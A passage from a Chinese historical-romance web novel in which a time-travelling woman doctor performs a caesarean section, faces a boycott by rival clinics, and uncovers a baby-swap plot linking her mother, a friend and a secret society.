“我知您的顾虑,您放心,您这是与阎王爷挣命,抢得过,是祖上积德;抢不过,我也认了,绝不敢怨怪您。”
“好。”苏颜妍迅速告知大汉她要做的事,并一一安排小桃标出重点,请大汉签知情书并画押。
张神医并其他大夫在旁听着苏颜妍说的开腹取子事项,吓的面无人色。这何止是从未有人这样做过,简直是骇人听闻。
幸而大汉是个屠夫,平日里杀猪宰羊,听到方法得当有八成可能救命后,毫不犹豫同意苏颜妍的做法,请她速去救人。
这是苏颜妍第一次执刀剖腹产,事关两条人命,比日常与牙打交道更有压力。若不是这次张神医等一众大夫和经验丰富的产婆都说救不得,她是万万不会出手的。古代到底没法保证无菌环境,可让两条人命就在眼前消逝,她明明有法子却碍于后果不去争取,又过不了心里那关。
小桃对苏颜妍盲目信任,按她之前教过的法子为外科工具一一消毒,按苏颜妍口述的要求,酒精擦拭产妇的肚皮。
屋外,大汉和众大夫静默等待,无人出声讨论。不管他们与苏颜妍私人恩怨如何,屋里有人与阎王正面抢人,同为医生,他们也同样希望能救回生命。
时间一分一秒过去,太阳从东移到头顶,又移到西方。静默中多出一声微弱的婴啼:“哇——”
大汉双腿一软,膝盖砸在地上重重一声。他再顾不得其他,连声问屋内:“孩子生出来了吗?我婆娘怎么样,还、还活着吗?”
少顷,产婆满脸惊讶与喜色,抱着一个包裹起来的小婴儿到门外给大汉看:“恭喜东家,是个男孩,母子均安。神医在里面给夫人缝针,那手艺真是神了!我也是见了神仙取子救人的手段了,那肚子剖开时,这孩子一条腿举在头顶,卡得紧紧,自己生是万万生不出来的。”
大汉见着孩子,听到母子均安,嚎啕大哭,那嗓门比刚生的孩子都大。
在院内等待的众大夫,则开始不住交头接耳、窃窃私语。
唯有张神医面露欣慰之色,嘴角挑了挑,又轻轻叹了口气。
63. 激化矛盾
今日,京城众位大夫,一同见证了一个奇迹。原来生死一线,真有人开膛破肚,施以神仙手段,救人活命。
回春堂之前散出来的那些超出他们想象界限的知识和工具,竟然真的是可以施行实践的?他们难以置信,互相凑在一起,小声争论着,有的说着说着,激动起来,便冒出几句“那你怎么解释她顺利破腹取子”、“做戏”、“你才是胡言乱语”,引得旁边的人侧目。
苏颜妍从产房出来,浑身都被汗水浸了一遍,湿淋淋的,从水中爬出来似的。小桃在她身后紧紧提抱着工具箱,满脸都是对面前这位年轻姑娘的崇拜与信服。
院中众人瞬间不再交谈,一群人的目光紧紧盯着她,一时倒像是哪个神仙耍了个神通,让他们动也不能动似的。
苏颜妍没理这群翻江倒海满心复杂的大夫团,她撑着精神对大汉说:“产妇已经睡去,虽然这会儿看着安全,但后面她需要比正常顺产的人更多的照顾。我安排人去回春堂取些对症的药来,你一定要按时给你妻子用。”
这一次,她库存的消毒药剂得少一大半。救人一命,也算值得,希望这位妇人能再幸运一些。
苏颜妍累的不轻,细细叮嘱过大汉,便和小桃一同回医馆。院中众人默契地给她们让出一条路,苏颜妍越众而出,好像鱼群中两条逆行的鱼。
至于之后的鱼群会不会跟着她们换方向呢?她太累,已经没有力气去看之后了。
回春堂的苏神医,用她推出的那些刀钳针剪古怪工具,真的给人救命了!
这消息从金屠户家,一路扩散,一夜之后,全京城的人都知道了这件离奇事。
以济世堂为首的众位大夫重新聚在一起,个个面色沉重,神思不宁。
林有仁没有亲去现场,听众人转述,还没有感受到见证奇迹的震撼感,他见这些熟悉的盟友们个个意志颓唐,不由开口道:“何必这样消沉,你我都知道,有些人体质特殊,天生就命硬。同样肢体受伤,有血肉模糊的敷药就能痊愈,也有针尖刺伤的喝药也救不回来。”
陈掌柜也是没去现场,跟着附和道:“要我说,就是那丫头撞了运,那产妇命不该绝。诸位轻易被这样的意外吓退,说出去简直有损咱们良医的身份。我提议,请张神医一起,再去回春堂理论。这次就要限制,女子不可当大夫,更不可经营医馆。林兄,你看这提议如何?”
林有仁忽然想到自己的女儿林玉珠,他曾经对她寄予厚望,也想过让她经营家产、继承济世堂。可惜,女子终究是女子,耽于情爱,难当大用。
他点头赞同道:“陈兄所言甚是,虽说学医之人中有女子,咱们不禁止她们学。经营和公开诊治是代表所有大夫的颜面与根基,必须由咱们男子牢牢守住。”
济世堂终究是当了十多年的龙头位置,林有仁提议,其他大夫有了主心骨,便打起精神重整旗鼓,重新拜访张神医,请他出面再次约见苏颜妍。
回春堂,苏颜妍见到这群目光闪烁的大夫们。
她刚从金屠户家看完产妇,确认术后一切正常,刀口也没有感染,这才放心回医馆。
上次争执比拼,以苏颜妍妙手回春为止,这群老头们脸被打的啪啪响,她还以为近期不会再见到他们呢。看来,这群人远远比她想的脸皮厚。
他们结伴前来,面色不善,显然也不打算让她有个好心情,苏颜妍便不再客气,直接嘲讽道:“上次一别,还以为诸位知道自己术业不精,回去日夜钻研苦学,我还想着诸位知错就改,算是条汉子。怎么,原来是我把你们想得太好了吗?”
众大夫闻言色变,窸窸窣窣响起嗡鸣:“岂有此理!她怎么敢……”
“陈兄说的没错,女子就是该回内宅,看看她现在何等张狂!”
“仗着自己侥幸救人,竟轻视我等至此!荒唐!”
众人哗然,齐齐怒视苏颜妍,眼神如刀如箭。
张神医苦笑一声,开口缓和气氛:“苏掌柜说话太过偏激,在场的医馆大夫们,哪个手中没从阎王殿里抢过人命。都是医者,当怀仁心。我们这次来,也是想和苏掌柜好好谈谈。一次成功不能说服我等,那套‘外科’工具我们依旧不认同它们作医疗用品推行使用。”
苏颜妍俏脸凝冰,嗤笑一声:“怎么,输不起么?怎么我们回春堂和你们亲如一家、好到不分彼此不成?各位是怎么脸大到以为,可以倚仗同行的身份教我做事?这套工具有用没用,你们等着看我回春堂凭着它站稳京城医馆之首。呵,想来你们自己觉得制不出这样优秀的工具,担心被我们回春堂踩在脚下,这才合起伙来逼迫我留手吧。简直做梦。”
张神医不料她出口的话半分情面都不留,刺的人脸上挂不住。他涨红脸,哆哆嗦嗦伸手指着她,道:“你…你…简直放肆!”
苏颜妍再笑着捅刀:“张神医,想来祝家那位牙疾患者,您已经用神乎其技的医术给他治好了吧?怎么样,祝家妇有没有给您送锦旗啊?”
京城谁人不知,祝大宝牙疾张神医束手无策,还被人家寡母姐妹打上家门,撕骂一通。苏颜妍明知这个笑话,还拿出来在众人面前嘲讽,实在让张神医怒火中烧。
他手指开始不受控制地哆哆嗦嗦,两眼一翻,身体向后倒去。
“张神医!张神医被这黄毛丫头气晕了!”
“苏掌柜,你说话如此不留情面,我们医馆与你不共戴天。”
“放马过来,怕了你们不成。一群菜虫。”苏颜妍鼻孔出气,白眼翻上天。
张神医这老头,演技比她都好,看这气晕的样,全场半百数大夫,竟无一人发觉他是在装晕。
他们俩配合默契,在众人眼前演了出仇人眼红的戏。就指望着幕后的人,趁着百家合伙讨伐她这个好机会,快快行动。萧景琮埋伏好久,就等着抓人呢。
回春堂的名声,连同掌柜苏颜妍的名字,一起成为京城医馆讨伐的集火点。
张天翼在京中虽不曾常驻,可他行医多年,全国都是受过他恩惠的人,听闻他在京中被一个黄毛丫头气晕,是可忍孰不可忍。
回春堂再也不复众人追捧的时候,提起来
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,总是有人要跳出来指责苏颜妍几句不经长辈、毫无尊卑。
原本给回春堂供货的药材商人,现在彻底不再出现。零散农家收集的药材,不说品质没法保证,数量也不够一整个医馆的用的。连李真和李善管理的分馆,都受到了牵连。
药材缺失,有病就没办法给患者配齐开具。只给药方,让对方去其他药馆抓药,其他药馆一听是回春堂来的,摆手谢绝,不对他们出售药材。
百姓们就是信任苏颜妍,专门来找她看诊,可没有药,病也没法子自己治好,渐渐的,患者开始越来越少,直到彻底不见。
京城众医馆联合药馆,对回春堂进行了一场毫不留情的围杀。
小桃尝试过去找相熟的药材供应商,请求他继续给回春堂匀出一些药材。那位老板苦笑着拒绝:“小桃姑娘,不是我不想帮你,我今天给你们医馆供货,到不了明日,我的店就得关门啦。其他医馆都联合起来,拧成一股势力,警告过所有药馆:只要给回春堂供货,他们所有的医馆就不会再使用这家药馆的药材了。大伙儿都为糊口饭吃,主顾没了,生意做不下去,这不是要我们的命嘛。对不住了小桃姑娘,今日就是苏神医亲自来,这药材我家也给不了。”
小桃不信邪,跑遍了京城所有的药馆,一无所获。
她垂头丧气回到医馆,苏颜妍安慰她:“前阵子医馆患者每天都满满当当的,你忙得晕头转向,一连几十天都没休息过吧?现在不是正好有空闲,可以放松一下心情,养足精神,日后好专心工作啊。”
小桃哪里有心情放松啊,她苦着脸道:“那些医馆联合起来放话,不许药馆给咱们供药材。还让你公开给他们道歉,关掉回春堂,不许再出手给人治病。这些人好霸道,师父你本事比他们好,他们就这样容不下你吗?”
苏颜妍心中暗笑:原来这些人的后手是垄断啊。利用垄断药材资源,截断回春堂的命脉。治不好患者,就不会有人再上门。逼迫她道歉、停业,永不复出,确实是霸道。这一套下来,少有能抗住的人。
可惜,现在这个局面,正是她想要看到的。都说患难见真情,日久见人心。她这会儿算是从人人追捧的炙手可热状态,跌到人人躲避无人问津的惨境。让她来看看,哪些隐藏在人群中的鬼,要藏不下去出来害人啦。
苏颜妍每日依旧在回春堂展示台,给过来围观的百姓讲解科普、日常、急救常识,偶尔讲一下外科工具使用场景。
她没有指责这些日日来学习的人,被集体排挤是件可怕的事,普通的百姓抵不过联合倾轧。人在屋檐下,就是要低头服软。她相信,只要回春堂药材恢复稳定,这些来听她讲说的人,一定会是她最忠实的信徒。
苏颜妍我行我素,把一众抵制她的医馆大夫气得直瞪眼。他们真没想到回春堂是这样的硬茬子,能在所有人的逼迫下□□到现在。
苏颜妍不低头,他们便使出更坏的招:派人散播谣言,败坏她的名声。
众口铄金,苏颜妍的闲话传开,就像一桶桶脏水泼过来,很快把白布染黑。
64. 脑洞大开的猜想
深夜,苏府寂然一片,苏颜妍不回家,苏夫人宛如失去灵魂的木偶,除了仆妇白日照顾她吃饭喝水,连句话都没有。
她半倚在床头,手中攥着苏父托苏东林交给她的信,空洞的眼神望着前方,一动不动。夏末时节,天气还带着暑热,可苏夫人却觉得周围极冷。窗外不知什么鸟,传来一声声怪异的叫声,苏夫人浑身一颤,披上衣服踉跄下地推开房门。
天阴阴的,不见星斗,苏家被黑夜笼罩,苏夫人从房间出来后,便被夜色吞噬了身形。
第二天清晨,仆妇惊慌地发现,府中哪里都没寻着苏夫人。
苏夫人失踪了。
仆妇找到苏颜妍禀报时,苏颜妍正抱着一摞医书,准备搜罗适合麻醉的速效药方。医书来自苏南星的收藏,上次苏夫人与她大吵一架,她便一直宿在回春堂,这些医书也带了过来,打发了不少空闲时光。
“什么?我娘不见了?”苏颜妍猛地抬起头,看向战战兢兢的仆妇,对方此刻面色惶然、汗如雨下。
“苏小姐,昨晚夫人吃过晚饭就休息了,咱们府中当值的三位仆从,都没听到异响。早上,我们如往常那般请夫人起床,敲了很久门,妇人都没应声。我们当时以为妇人心情郁郁,不想理我们,仔细听了听声音,什么都听不见。”仆妇急喘几口气,道:“我们担心夫人,便一起守了一会儿,到了早膳时间,夫人还没声响。打开门一看,房间里空荡荡的,被褥都是冷的。”
她反复说着:“昨晚没有声音啊,一点异常都没有,我们都睡得很沉。怎么夫人会无缘无故消失呢?会不会是…是…”她含糊咽下后半个词,之余一片惊悸颤音。
苏颜妍再也呆不下去,她打发仆妇回去守着苏府,安排医馆的人分散打听外面的邻居有没有见过苏夫人。
她自己知道,这段时间的钓鱼有效果了。她人为制造一个危机,本想着幕后黑手会冲着她本人来,最后目标却对准了苏夫人。这条大鱼确实抓住了她的弱点,在一个要命的时间,趁着她与苏夫人闹矛盾的这点疏忽,突然动手。
人会是苏南星安排抓走的吗?还是其他势力?她这段时间拉足了仇恨,得罪的人没有一百,也有八十。
她不停地在房间内踱步,牙齿啃啮下唇,压得那处几欲滴血。
萧景琮赶来就看见她满脸焦躁,他知她此刻忧惧,一把将她拥入怀中,道:“我已经安排人秘密封锁了京城,今日就是一只鸟,也别想飞出去。另有暗卫已经开始排查内城,你娘不会丢的。”
苏颜妍哽咽道:“我不该因为吵架躲着她的。如果我在家,她不可能这样消失。那些人也不可能潜进苏家,都是因为我。我自己笃信幕后的人会冲着我来,完全没想到危险也会冲着她去。怎么办呀景琮,我不想她有事。”
前几日苏夫人冲她控诉时,她心中不是没有不满的。她自忖穿成原主,尽心尽责,守护她、守护家业,比原主要强的多。她满是不自知的傲慢,只觉着已经对苏夫人足够仁义。直到现在苏夫人受牵连失踪,她才发现,原来,她也从没在心底把苏夫人当成自己的“妈”。她或许是一个紧要些的责任义务,是亲密些的陌生朋友,是感情好些的远房长辈。唯独不是一个亲密依偎的至亲。
苏夫人说她不是她的女儿,对,她确实不是,也不配全数接受她全心全意对女儿的好。
可她从不曾萌生过“如果没有苏夫人就好了”的念头。
萧景琮轻轻拍她的背:“不会有事的,我保证。冷静下来咱们一起想想,是哪方势力悄悄动的手。自上次你与张天翼演的那场戏,对你抱有恶意的有京城医馆、白延琅,或许还有苏南星。”
“这些人里,苏南星能确定人在安南,不会出现在京城。假使他有势力,也不能跨过这样远的距离操纵指挥。”
“帮他递过信的苏东林,最近京郊学舍考试,他没有这个心力做这个。白延琅借的是林玉珠的势,济世堂现在连林玉珠都不保,更别说隔了几层的人。能越过我安排的人手,我能想到的就是兄长手下练出来的那些人。”
“兄长他也在安南,京中的人手是袁因在负责。她现下也已经吩咐下去帮你找苏夫人,除去这些可能人选,剩下的就寥寥无几了。”
苏颜妍这会儿,脑子里杂乱非常。涉及苏夫人,她的感性流体般堵住精明理智的脑袋。她现在混混沌沌的,什么推理和逻辑,她现在没有这东西。
萧景琮提醒她:“现在只有两方有可能去苏家掳人。一个是京城医馆那些有势力的,他们联合起来,肯定能找到三教九流的灰色组织。他们对苏家熟门熟路、知之甚深,还知道现在你引出的乱局,你这段时间没回苏家,他们可能以为你是要引开危险,保护苏夫人。他们正好趁着你不在苏家的时间下手。你觉得会是他们动手的吗?”
“另一个可能是荧惑组织。袁因说这个组织现在领头人不在了,底下的人谁也不服谁,分裂成两大派系寻找少主。她们的左使找到了袁因,另外一派似乎不认可左使的判断,还在继续寻找。”
苏颜妍乱成一团的思绪在萧景琮耐心温柔的声音里慢慢清醒,她琢磨了一会儿,问道:“张神医有传来消息吗?医馆有没有人联系他,请他继续出来与我对峙?”
萧景琮摇摇头。
苏颜妍说:“那医馆那些人动手的可能性不大。比起我娘,他们更想针对我。他们要是真的动手,肯定是冲着我来的。这边不可能动手,就只剩下一个嫌疑方,荧惑?怎么突然跑出来这么个组织,我娘从来也没掺和过医馆这边的事啊?难道她们掳走我娘,不是因为我?”
苏颜妍思维发散,胡乱猜测道:“寻找少主,我记得你说过荧惑组织里都是女子对吗?”
萧景琮点头,她继续猜测:“难不成我娘曾经是他们组织的成员?”
她灵光一闪,脑洞大开:假设苏夫人真的曾经是荧惑组织的成员,她是有可能接触到那位‘少主’的。萧景琮说的荧惑组织的少主20多年前失踪,或许她卷入了皇室的换子案件中。萧景琮能肯定当年先皇暗中布局,坑了包藏祸心的人。那些人自以为换了一位假皇子,却不想真正被换的,是他们自以为掌控的‘真’血脉。
她相信萧景琮的判断,先皇强势多疑,涉及自己唯一的血脉,必然不会让人算计成功。苏南星说他师父看到先皇后生产时疏漏百出的局面,已经是最好的证明。
荧惑左使笃定的少主血脉、苏南星口中的那个女婴,如果不是袁因,还能是谁呢?
再大胆一点,扯进疑案的苏南星身边有一位独女,年岁恰巧接近20左右。假如当年确实有人打算用自己的骨血换走先帝的皇子,但被先帝顺水推舟反算计,这位的骨血便交换给了另一方有相同打算的人。
阴谋者双方都以为
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自己成功换子,他们手中的是先帝血脉,宫中是他们未来的希望。所以他们能沉心隐藏20年之久,只为一朝,新帝长成颠覆旧朝。
苏颜妍肌肤都为这种猜测而战栗。
如果这个推测成真,袁因和原主中,一位是荧惑要找的少主,一位是苏夫人真正的女儿?
苏颜妍喃喃两句:“可能吗?”她使劲晃晃头,感觉脑子泡在酒水里一样。
萧景琮扶住她的脑袋,问:“想到什么了,这是你的头,不是拨浪鼓,女朋友。”
苏颜妍喃喃自语:“我脑洞太大,感觉需要补一补。”她连萧景琮暗戳戳的调戏都没发觉,满满都是一个念头:
太狗血了,太可怕了。细细想来,袁因和苏夫人两个人长得颇有相似之处。同样的鹅蛋脸,瑞凤眼。苏夫人整个人的气质偏柔弱婉约,而袁因更偏向英气御姐,她居然从来没有把两人往一块儿联想过。
苏颜妍忍不住问萧景琮:“你觉得袁因姐和我娘长得像不像?”
萧景琮一点就透,反问道:“你觉得她们两个有血缘关系?袁因家在安南,也是有父母弟妹的。再说你今年才19岁,比她年龄小,你们的生辰也并不接近,可能吗?”
苏颜妍不是原身,没办法确定真正的出生日期。虽然猜想荒诞,可这也算一条线索。她将自己的手指掰的咔咔响,道:“安排一下,请袁姐姐和我碰个面吧。”是对是错,她一定要弄清楚。
袁因来得很快,她个性爽朗,苏颜妍把自己的猜测一说,她便痛快地决定,通知联系荧惑左使与苏颜妍见一面。
苏颜妍心跳的砰砰直响,急促的仿佛要从胸口跳出来。这是她第一次推理出逻辑通顺的可能。按照这种逻辑推算,很多之前奇怪的事情就是水面下的鹅卵石,一眼就能看清。倘若这个猜测成真,袁因才是苏夫人真正的女儿!
至于她自己到底是谁的血脉,这一点都不重要。
集结景朝最顶尖的一批势力共同寻找一个目标,就像在围住的水塘里抓鱼。或许水浑耽搁点时间,但最后一定能捉到。
费了点力气,果然从茫茫人海中找到苏夫人。她在一处废弃的荒宅,是被人打晕放在那里的,并没有遭受什么伤害。大夫诊脉后给她针灸,苏夫人悠悠转醒。
她恍惚看到殷切守着她的苏颜妍,颤抖着伸出手抚摸她的脸,哽咽说道:“妍娘,别生娘的气,娘不该因为封信那样说你。你离开家之后,娘的心就像在刀山火海中滚过一遭又一遭,也不知道自己活在世上还有什么意义。娘想了想,或许那封信并不是你爹写的,是有人伪装的。他们是不是要害你,我是不是上当了?我实在是太笨了,看到信就应该告诉你的。妍娘,原谅娘吧。”
她抓着苏颜妍说了好久,等情绪稳定下来,才发现屋中不只是苏颜妍,还有其他的人。其中最让她惊愕的是一位年轻姑娘。她的脸,她的眼,她越看越觉得熟悉亲近。仿佛这模样,她日日都常见。她像谁呢?她是谁呢?
苏夫人半是困惑、半是亲近,盯着袁因看了好半晌。袁因任她打量,她们视线对上后,嘴角扬起笑,笑嘻嘻地冲她打了个招呼:“婶子好呀,可算是找到你,知道你失踪,颜妍吓坏了。能告诉我们是谁带你从苏家离开的吗?也不说一声,多让人担心啊。”
苏夫人莫名有些脸红,她低下头,手指成拳攥的紧紧,小声道:“好。”
65. 身世纠葛的三个人
袁因第一次见苏夫人,有苏颜妍猜测在前,她免不了对“可能”是她亲人的苏夫人有点好奇。
她自小在安南府长大,是家里的大小姐,底下还有一对双生子弟妹。袁家虽不是什么世家大族,也算是富贵人家,没道理捡着养别人的孩子。袁家在她幼时,大房、二房争权,她是有过离家时刻,在外面也颇有奇遇,易容术就是离家时跟随一位婆婆学得的。
荧惑左使找上她,她半点都不稀奇,那位教她的婆婆就是曾经的荧惑首领。她只当她们按着线索找人,错把当年的接触当成是血脉证据。
她自小与人打交道就不费力,挖点秘密比别人呼吸还简单。就像这会儿,她一问,苏夫人答,说的比苏颜妍问都多:“那夜,府上早早熄灯,我也在屋里要睡下。妍娘不在家,苏家太安静了,除了我自己的呼吸声,我还能听见外面的蛙叫声。还有,一阵奇怪的簌簌声。”
“我记得,妍娘似乎爱去她爹书房里找书看,我以为这声音是她悄悄回家,翻找医书发出的。我上次和她说了些气话,妍娘躲去医馆,我好几日没见到她,便想偷偷躲在外边看她一眼。等我出门,书房里好像真有火光一闪又消失。”
“我想,可能是我开门的声音,被妍娘听到了,她还在生气,不想理我。这孩子从小就拧,以前生闷气,能闷一个月不露个笑脸,非得哄着不可。我就想去和她好好说说软和话,让她别再和我置气。”
苏夫人面上露出惊悸之色:“我刚推开书房的门,就被里面的人捂住口鼻,晕了过去。我依稀看着,是个粗壮身形蒙面黑衣的歹人。我再醒来,就在那处荒废的宅院里了。听人说,那家宅院闹鬼呢,你说我是不是撞着鬼了?”
袁因若有所思,她依旧是笑眯眯的样子,安慰苏夫人:“这世上哪里有鬼哦,都是歹人在装神弄鬼呢。夫人这样美貌和善,没有受到伤害就是万幸好事,回家一定好好休息,喝点安神汤,别让颜妍担心。”
苏夫人不知怎的,被她一说,那话熨熨贴贴,浑身的难受都轻松许多。她冲袁因露出微笑。
袁因顺势又问道:“不瞒夫人您说,我一见着你啊,就觉着亲切。要不是知道您只生了颜妍一个独女,我真当您是我亲妈一样感到亲近。你说当年,您生颜妍的时候,是不是生了双胎啊。我和颜妍情同姐妹,和您又这样合眼缘。”
“我见着你也觉得亲近呢。”苏夫人眼都亮了,拉着袁因细细又打量,越看越爱。她带着点遗憾说起了当年:“我生产时,确实只生了妍娘一个,我夫君亲自为我接生的呢,错不了的。那是二十年前的事了,转眼妍娘都成大姑娘了。”
苏颜妍惊讶插嘴:“二十年前?我今年不是十八么?算上虚岁也才十九呀?”
苏夫人嗔怪道:“还不都是你爹,那时你长得小,身体也弱,他非说你出生的时辰和什么黄道日子冲了,怕碍了寿元。搬到京城他就让我对外给你少报两岁,这样就能瞒过去,健康长大。没想到后面你真的没有再生过大病,可见这法子是有用的。”
苏颜妍和袁因对视一眼,又和萧景琮互相打了场眉眼官司。
真有戏!这苏父的操作真是越问越有!
袁因捂着嘴做惊讶状:“呀,居然是这样,那颜妍真实生辰是几月几日啊,我一直当她是妹子,没成想还有可能是姐姐呀。”
要不大佬就是大佬呢,这脑子转的就是快!
苏夫人没多想,乐呵呵地就答了:“妍娘生在七月呢,那天刚过完中元节,生在十六日子时末。”
萧景琮豁然抬头,脸上是掩不住的讶色:他的生辰也是七月十六,是辰时。他看向袁因,见她也是难掩惊愕,便知晓她的生辰必然也是一样的。
苏夫人见几人间气氛不太自然,只以为是被苏颜妍真实年岁镇住,笑着打趣:“难不成真的错把姐姐认成妹妹啦?”
袁因抿唇微笑,萧景琮面无表情低下头,苏颜妍便接口道:“我们只是觉得好巧呢,袁因姐姐的生辰也是七月十六,和我同一天呢。哦,我是子时末,那我的确大一些,得叫袁因妹妹啦。”
苏夫人听后一下子愣住,她慢慢拧起眉头,困惑地重复:“这位姑娘、袁因,也是七月十六的生辰啊。”实在是太巧了,是不是缘分不好说,苏夫人只觉得有什么东西朦朦胧胧的,从她心底浮出来。她拼命想要看清楚,想明白,却总是抓不住真相的尾巴。
苏颜妍适时加上最后一把火:“对啊,不过她家是安南府的,想来都是缘分,才让我们成为好朋友呢。唉,安南府最近有点乱,听说有个叫‘荧惑’的组织一直在乱窜找什么人,袁姐、妹妹差点被缠上,到了京城才摆脱呢。”
一道久远的回忆轰然在苏夫人脑中炸响,她瞬间头晕目眩,撑不住身形,向后倒去。袁因眼疾手快,伸手扶住她,托着她的后背让她慢慢躺平,柔声安慰道:“夫人,身体为重,有什么心事说给颜妍听,别闷在心里。您要是不方便说,我们可以先离开,你和颜妍私底下说些母女间的小秘密。”
她俏皮地眨眨眼,苏夫人勉力睁开眼就看到她这个表情,脸色一下子变得更加惨白。
她喉咙里仿佛堵了一天棉花,让她呼吸困难,说话也困难,只能夹着声音用气音一点点挤出来:“不要走,我记得,我孩子的后背有块特别的胎记。胎记很奇怪,一点也不影响美观,是一朵形似三瓣花的红斑。刚生下孩子我记得很清楚有,可我生完孩子太困了,睡了一觉后,就没看到孩子背后有任何胎记痕迹了。夫君当时说我太累,记错了、记混了。”
她盯着袁因的脸,眼睛一眨也不眨,很快眼眶中就凝出水色。她怔怔地、宛若一抹游魂地问:“姑娘,你身上有什么特殊的胎记吗?”她此刻也不知道,自己到底说出这话是为了什么。
她记得当年生产时,丈夫含笑地陪伴,他说,他是大夫,自己的夫人生产,哪里用别人来动手。他是百姓的大夫,也是她的丈夫,她唯一的专属良医。她为丈夫的重视珍爱而感动,这口糖,撑着她度过生产完后的二十年。
她记起临产时,丈夫帮她安排好一切,唯独没安排生产时的
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稳婆。生下女儿后,她睡着后一直是丈夫温柔地照顾她们母女。她有些喘不动气,捂着胸口不停地深呼吸。苏颜妍给她拍着背,她闭了闭眼睛,总算镇定下来看着袁因。
袁因带上点犹豫,一双凤眼盈盈地盯着苏夫人,踌躇道:“如果不是夫人之前没见过我,我真怀疑夫人你照着我本人说的这些。我还真有这么个胎记,应该是咱们比较有缘吧,夫人居然在睡梦中梦到我了呢。”
苏夫人的泪忽的就顺着脸颊滑落,一滴滴落到衣襟上。她紧紧闭着眼睛,就这样无声地、默默地流着泪。屋内一时安静下去,只有泪水滑落打湿衣襟的咸涩味,一点渗进空气中。
苏颜妍勾了勾嘴角,闭着眼无声叹息:她的猜测居然成真了,袁因真的是苏夫人亲生的女儿。她们是同年同月的异父异母的亲姐妹啊!
苏夫人流了一会泪,情绪稳定后,精气神像雨后的苗木,突然精神了起来。她看着袁因说:“缘分不只是这些,你们说的‘荧惑’组织,我曾经见过她们的‘少主’。我记得是因为她当时身怀六甲,来找夫君看诊。和我怀孕差不多时间,我很高兴。和她说过好多私密话,我们一起憧憬着未来。”
苏父就是这样,靠医术与荧惑搭上线的啊。苏颜妍捻了捻指节,琢磨苏父要怎么将两个婴儿调包。
苏夫人继续说道:“她生产时,夫君确实去了,他是大夫,除了妇科,其他的都能诊治。那位少主生产完后,带着孩子离开了,听夫君说回了老家。她是安南府的人。”
她突地抖起身子来,对袁因说:“你是不是她的孩子?不,你是不是我的孩子?”她又倏地看向苏颜妍,哑着声音说:“妍娘,你父亲现在在哪里,能找到他吗?这件事他肯定知道,当时家里就我们两个人,我睡过去后,孩子都是他一手照顾的。”她越说喉咙里的哭腔越重,最后终于忍不住破口尖叫:“他为什么要这样做,为什么要换了我的骨肉!”
苏颜妍看着袁因,在苏夫人的泪雨中静寂站立,燃起满心的杀意:若换子这件事,是苏南星一个人干的,那他图谋的事,肯定是更要命的一件,说出来就一定会被通缉吧。
苏南星先把‘荧惑’的少主生的孩子,换成自己的女儿。这样荧惑少主若能把孩子送进皇宫,那他苏南星就是等待收网的蜘蛛。
她和袁因默契对望,彼此默契非常:一定要抓回苏南星,这个秘密,他藏得有够深的。
确认袁姐姐的身世,苏颜妍松了好大一口气。她终于不再对苏夫人心有芥蒂。苏夫人需要一个女儿,她便真的得到了一个女儿。
没留在房间里,掺和进苏夫人和袁因执手相谈的火热对话中,苏颜妍坐在苏家院落的秋千上,脚尖点地,一点一点地摇晃。萧景琮默默跟在她身后,时不时配合给她推一把秋千架。
天很蓝,云很白。太阳一阵躲进云中,一阵冒出发光发热。夏天要尽了,景色不管季节,它们顺着心意轮换。苏颜妍感受风,感受花,感受身后安全感的源头:真好,她还有萧景琮,有他一个,便已经足够啦。
66. 怀璧其罪
苏颜妍握着秋千索,抬头看着天,眼直直的,没有回头看身后静静陪她的人。
她胸口一团情绪,就如同天上的云一般,顺着风,慢慢淡了。笑容重新回到她的脸上,她对萧景琮说:“我还以为你比我大得多,没想到咱们是同年同月同日生。你怕不怕我是那个谋逆的安南王一系的血脉?”
难道老天爷看她带着超时空外挂降维打击不顺眼,准备给她再开个相爱相杀剧本?
萧景琮一阵小狗不满的“哼”了声:“我父皇既然设下陷阱,凭他那种性格,试图混淆他血裔的人,怎么可能留下后代。你把他想的太善了,现实不是这样的。”
实际上,先帝真设局用某家的女婴充当皇后新生的孩子,搅浑局面引诱野心家偷龙转凤、换子谋国,被当成宝送进宫的那个男婴,绝无生还的可能。袁因若真是苏夫人的亲女,只能是先帝需要一个新生女婴当饵,恰巧苏夫人生的孩子时辰巧妙,被带进宫中。
至于苏颜妍怎么会在苏家长大,苏夫人亲女进了宫,苏南星必定要还给她一个孩子。他是一个颇有天赋的大夫,名声在外,恰巧某位不太适合出现的可怜女子生了个女婴,需要找个人家托付,她会不会选择他呢?
一晃二十年就这样过去了,沉寂的阴谋种子萌芽,残余势力获取了一星半点信息开始野心膨胀,直到形成这场绕着苏颜妍旋转的风暴,剑指皇权。
每一个卷入漩涡的人都身不由己,对错难分。爱恨情仇、恩怨是非,裹挟成一团。
但苏颜妍是不同的,萧景琮知道她,了解她。他的心上人,他的女朋友,通透又清醒,像一个真正的仙女,好奇地注视这个世界。她心中有正义、有仁慈、有大爱,唯独没有权欲浸染的野望,干干净净立在那里。
“你说真会有人愿意用自己的骨肉换取前程吗?苏、我爹到底是怎么想的,他怎么能保证被抱进宫去的孩子换出去还能活啊。”苏颜妍吐槽道,说完她跳下秋千,稳稳站住,娇娇俏俏回身冲萧景琮笑。
萧景琮上前两步,扶着她的手,宽袖垂下,二人十指紧握,携手同行。
他说:“是什么心思,只有他自己明白。将人找出来,事情总会有结果。你现在要告诉苏夫人这件事吗?日后,你想住在哪里?如果不喜欢苏府,可以到我置办的宅院里,那里一切都准备好了,可以随时去小住。”
苏颜妍踌躇未决,倘若她真是苏夫人的女儿,这会儿做决定肯定痛快,一家人嘛。现在知道二人可能并没有血缘,她真正的女儿是袁因,苏颜妍便不愿轻易替苏夫人做决定。
“我已经铺够摊子了,和张神医演一场,现在一个人出门都怕别人给我套麻袋。这会儿给她说说当年她丈夫背着她做的事,她哪里受得了哦。好多人盯着我们,没逮到鱼之前,我是不打算再添变数了。”苏颜妍半是真心半是后怕地说。
苏夫人失踪真的有吓到她,她总是习惯性的把世界想的太法治,时不时忘记这边的底线比本家低得多。她愿意帮自己的朋友冒险,可不能把危险带给身边的人啊。
“袁因会护着苏夫人的,那女人别看表面大大咧咧的,心思细腻着呢。”萧景琮安慰苏颜妍,苏夫人这事也怨他顾虑不周,人手没安排足,才叫有心人钻了个空子。
两人到了房间里,双双坐在软座上。袁因进来后,就看着这俩人瘫软成“饼”的样儿。
